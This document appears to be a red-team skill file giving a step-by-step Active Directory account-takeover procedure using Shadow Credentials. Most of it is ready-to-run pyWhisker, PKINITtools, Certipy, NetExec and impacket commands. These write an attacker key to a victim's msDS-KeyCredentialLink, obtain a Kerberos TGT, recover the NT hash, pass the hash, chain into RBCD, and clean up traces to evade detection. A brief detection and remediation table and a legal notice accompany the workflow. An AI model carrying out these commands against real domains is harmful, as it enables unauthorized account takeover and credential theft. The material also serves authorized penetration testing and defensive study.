abusing-shadow-credentials-for-privesc

name	abusing-shadow-credentials-for-privesc
description	Take over Active Directory user and computer accounts by writing alternate certificate keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, and Certipy, then authenticate via PKINIT.
domain	cybersecurity
subdomain	red-teaming
tags	["red-team","active-directory","shadow-credentials","pywhisker","certipy","pkinit","key-credential-link","privilege-escalation"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.AA-05"]
mitre_attack	["T1098.005"]

Abusing Shadow Credentials for Privilege Escalation

Legal Notice: This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.

Overview

The Shadow Credentials technique abuses the msDS-KeyCredentialLink attribute of Active Directory user and computer objects. This attribute stores raw public keys ("Key Credentials") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's msDS-KeyCredentialLink — typically granted by GenericWrite, GenericAll, WriteProperty, or AddKeyCredentialLink ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover without resetting the password, which is far stealthier than a forced password reset.

The technique was published by Elad Shamir ("Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover") and implemented in the C# tool Whisker. The Python equivalent pyWhisker (ShutdownRepo) manipulates the attribute over LDAP, and Certipy integrates the entire chain via certipy shadow auto. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: pyWhisker, Whisker, The Hacker Recipes — Shadow Credentials.

When to Use

• When BloodHound reveals GenericWrite/GenericAll/AddKeyCredentialLink over a higher-value user or computer
• As a stealthier alternative to ForceChangePassword (no password reset = less disruption/alerting)
• To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)
• During red-team operations needing account takeover without locking out the legitimate user
• For purple-team exercises generating msDS-KeyCredentialLink modification telemetry

Prerequisites

• Authorized engagement scope including AD credential-access techniques
• Control of a principal with write access to the target's msDS-KeyCredentialLink
• A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)
• Network reachability to LDAP (389/636) and Kerberos (88) on a DC
• Linux attack host with Python 3.8+; install the tooling:

  # pyWhisker (from source)
  git clone https://github.com/ShutdownRepo/pywhisker
  cd pywhisker && pip install .
  # Certipy (integrated shadow attack)
  pipx install certipy-ad
  # PKINITtools for manual TGT/NT-hash extraction
  git clone https://github.com/dirkjanm/PKINITtools
  

Objectives

• Confirm write access over a target's msDS-KeyCredentialLink
• Generate a key pair and append a Key Credential to the target object
• Request a TGT for the target via PKINIT using the new key
• Recover the target's NT hash for pass-the-hash / further movement
• Clean up the injected Key Credential to restore the object's state
• Document the ACL path that enabled the attack for remediation

MITRE ATT&CK Mapping

ID	Technique	Application in this skill
T1098.005	Account Manipulation: Device Registration	Writing an attacker-controlled Key Credential (device key) to msDS-KeyCredentialLink to register an alternate authentication credential for the target account

Workflow

Step 1: Confirm the write primitive

List existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the add step.

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "list"

Step 2: Add a Shadow Credential with pyWhisker

Generate a certificate/key pair and write it into the target's msDS-KeyCredentialLink. pyWhisker outputs a PFX you control.

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "add" --filename victim_shadow
# Produces victim_shadow.pfx and prints the PFX password

Use Kerberos auth instead of a password if you only hold a ticket:

python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
    --target "victim" --action "add" --filename victim_shadow --use-ldaps

Step 3: Request a TGT via PKINIT

Use the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
    corp.local/victim victim.ccache

Step 4: Recover the NT hash

Extract the target's NT hash from the AS-REP using the session key from Step 3 (getnthash.py reads the AS-REP encryption key, displayed by gettgtpkinit.py).

export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Prints the NT hash for 'victim'

Step 5: One-shot alternative with Certipy

Certipy's shadow auto performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.

certipy shadow auto -u '[e-mail]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'
# For a computer account, use the sAMAccountName with trailing $
certipy shadow auto -u '[e-mail]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'WS01$'

Step 6: Use the recovered credential

Authenticate with the NT hash (or the TGT) to continue the engagement.

# Pass-the-hash with NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Or use the TGT directly
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache

Step 7: Chain computer takeover into RBCD (optional)

When the target is a computer, the recovered key/hash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.

# Set RBCD so attacker-controlled SPN can impersonate to WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
    -action write 'corp.local/attacker:Passw0rd!'

Step 8: Clean up

Remove the injected Key Credential to restore the object and reduce detection footprint.

# pyWhisker: remove by device-id (printed during add) or clear all you added
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto cleans up automatically; otherwise:
certipy shadow clear -u '[e-mail]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'

Tools and Resources

Resource	Purpose	Link
pyWhisker	Python LDAP manipulation of msDS-KeyCredentialLink	https://github.com/ShutdownRepo/pywhisker
Whisker	Original C# implementation	https://github.com/eladshamir/Whisker
Certipy	shadow auto end-to-end takeover	https://github.com/ly4k/Certipy
PKINITtools	gettgtpkinit / getnthash	https://github.com/dirkjanm/PKINITtools
The Hacker Recipes	Technique walkthrough & defenses	https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

Detection and Remediation Notes

Area	Guidance
Detection	Monitor Windows Security Event ID 5136 (directory object modified) for changes to msDS-KeyCredentialLink; alert when a non-AD-Connect/non-Intune principal writes the attribute.
Auditing	Enable directory service object change auditing on user/computer OUs.
Least privilege	Remove unnecessary GenericWrite/GenericAll/AddKeyCredentialLink ACEs (BloodHound AddKeyCredentialLink edge).
Mitigation	Where Windows Hello/device registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts.

Validation Criteria

• Write access over the target's msDS-KeyCredentialLink confirmed (list succeeded)
• Key Credential successfully added (PFX generated)
• PKINIT TGT obtained for the target account
• Target NT hash recovered and validated against a service
• (If computer) RBCD chain or onward movement demonstrated
• Injected Key Credential removed / object restored
• Enabling ACL path documented with remediation recommendation